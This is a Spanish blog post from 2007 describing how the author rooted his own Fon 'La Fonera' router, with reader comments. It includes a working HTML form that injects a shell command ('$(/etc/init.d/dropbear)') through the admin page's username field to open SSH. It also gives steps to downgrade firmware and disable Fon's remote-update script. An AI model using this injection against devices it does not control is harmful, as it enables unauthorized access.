martes, 6 de febrero de 2007

La Fonera Hackeada

   Antes de navidades me llegó un email de Fon con una invitación para que un amigo pudiera conseguir una Fonera totalmente gratis. Envié la invitación a mi mujer y solicité la Fonera a casa de sus padres. Hace un par de semanas llegó "mi" Fonera y estas son las primeras impresiones:
  • La Fonera es realmente pequeña, en las fotos no se aprecia bien pero es muy muy pequeña.
  • Se calienta bastante: Después de tenerla poco más de una hora conectada está muy caliente.
  • La configuración es muy sencilla: Nos conectamos a la red wifi abierta (FON_HOTSPOT) nos logamos en la página de Fon y la registramos. Luego nos conectamos a la red privada (MyPlace) con la clave WPA que nos proporcionan y listo, ya está todo.

  • Cosas que no me han gustado:

  • La web de administración es muy limitada y no permite nada más que unas cuantas opciones de configuración.
  • Aunque puedo cambiar el rango de IPs que asigna a los clientes DHCP no puedo gestionarlo yo al igual que hago con el Linksys.

  •    La he tenido encendida prácticamente todo un fin de semana y no se ha conectado nadie a ella. También es cierto que en la zona en que vivimos, la mayoría de los vecinos deben tener conexión y justo enfrente están construyendo un bloque nuevo. Es probable que cuando lo entreguen tenga más potenciales "clientes".

       Después de esto me cansé y decidí hackearla a ver si podía hacer algo más con ella. Leyendo en unos cuantos foros encontré que lo primero que había que hacer era conseguir el acceso por ssh para luego poder cacharrear más con ella.

       Manos a la obra: Leí que había diversas opciones, desde abrirla para conectar un puerto serie a utilizar unos exploits de la web de administración. También leí que la mayoría de los scripts eran compatibles hasta la versión 0.7.1r1 y mi Fonera tiene la versión 0.7.1r2.
       Según he podido enterarme de fábrica no es probable que se estén fabricando foneras con la versión r2 de serie, por lo podemos resetear las que están en versión r2 para se queden con la versión original de fábrica (r1).
       Con el reseteo tuve problemas porque en algunos sitios leí que había que pulsar el reset más de 1 minuto, esperar a que se apagaran las luces, volver a pulsar el reset, quitar el cable de red y el de alimentación; y finalmente enchufar de nuevo y listo, Fonera "downgradeada". Después de intentarlo unas cuantas veces lo dejé por imposible. La única conclusión que saqué fue que la Fonera se actualiza cuando se conecta a internet.

       Seguí leyendo y buscando por los foros y encontré otra forma de hackearla que es la que me ha funcionado:

  • Conectamos la fonera a otro PC con un cable de red cruzado, de tal forma que la fonera no tenga conexión a internet.
  • Después de arrancar, la IP asignada al puerto ethernet de la fonera es 169.254.255.1, por lo que configuré la IP en el PC con 169.254.255.2. Así, la fonera responde a los pings y desde el navegador nos podemos conectar a la web de administración.
  • Pulsar el botón de reset unos 15 segundos.
  • Recargar la web de administración. Ya aparecía la versión r1, por lo que ya podía proceder al hackeo.
  • Guardé el siguiente código en un archivo html, lo ejecuté y después de unos segundos parece que funcionó.
  • <html>
     <head>
     </head>
      <body>
      <center>
       <form method="post"
        action="http://169.254.255.1/cgi-bin/webif/connection.sh" enctype="multipart/form-data">
        <input name="username" value="$(/etc/init.d/dropbear)" size="68">
        <input type="submit" name="submit" value="Submit" />
       </form>
      </center>
      </body>
    </html>
  • Abrí el putty y me conecté a la Fonera por ssh.
  • Ahora lo único que quedaba era configurar el firewall para abrir el puerto 22. Para esto descomenté las reglas que lo abrían en el archivo /etc/firewall.user
  • Configurar el servidor ssh para que arrancase junto con la Fonera:
    ln -s /etc/init.d/dropbear /etc/init.d/S50dropbear
  • Y modificar el script de "puerta trasera" que ha instalado Fon para que la Fonera no se ejecute el código recibido de Fon cada vez que se conecta a internet. Editamos el archivo /bin/thinclient y comentamos la última línea:
    # . /tmp/.thinclient.sh

  •    De momento me he quedado aquí aunque hay bastante gente trabajando en establecer un puente WDS entre el Linksys con software DD-WRT y una Fonera. E incluso hace muy poco tiempo que acaba de salir una versión del DD-WRT adaptada a La Fonera.

       Establecer el puente WDS entre varias Foneras puede ser muy útil para poder añadir acceso Wifi en una gran extensión de terreno de forma que se puedan poner varias foneras y sólo haya que preocuparse del cable de alimentación y no del de datos (como hasta ahora).

       Como mi "amigo" registró su Fonera ahora Fon le ha dado a él una invitación y a mi otra para que invitemos a nuevos amigos a pedir sus Foneras gratis. Vamos, que ahora tengo 2 invitaciones esperando a ver qué pasa con el WDS y todo esto para utilizarlas.

    7 comentarios:

    Txumari dijo...

    He echo lo mismo que describes pero ahora ami no me conecta a internet ni puedo acerder con el putty ni nada. Tampoco veo la señal publica y ademas no funciona el reset. Si alguien sabe algo k me lo diga please.8v8gxs5

    Iván dijo...

    Hola Txumari,

    ¿has comprobado la versión antes de ejecutar el script?. Al tenido acceso alguna vez por ssh al putty?. La señal pública no la levanta en algunos casos, sobre todo si no conecta a internet.
    Prueba a resetear durante algo más de un minuto para que se apaguen todas las luces y a ver qué ocurre.

    Saludos, Iván.

    Rixar dijo...

    Estaba intentando conseguir una fonera gratis, me das una invitación?
    Gracias por adelantado. Un Saludo

    Iván dijo...

    Hola Rixar,

    ya no se pueden conseguir foneras gratis. La promoción acabó hace mucho. Lo siento.

    Saludos, Iván.

    Rixar dijo...

    Una pena entonces. Sq me dao de alta ahora y me sale por 24 euros la fonera normal y me parece cara, y más cuando el que hace gasto soy yo q ofrezco mi wifi, deberían de subvencionarla más, porque por ese precio ahora mismo no merece la pena

    Anónimo dijo...

    Es muy facil hacer wds con dd-wrt, yo lo logre siguiendo las instrucciones de: http://www.dd-wrtenespanol.com/uniendo-dos-redes-inalambricamente-usando-wds-en-modo-puente/

    Iván dijo...

    Hola Anónimo,

    mucho mejor que la configuración por WDS es conectar una fonera a un router wifi con la opción "wireless client bridge".

    Saludos, Iván.

    Publicar un comentario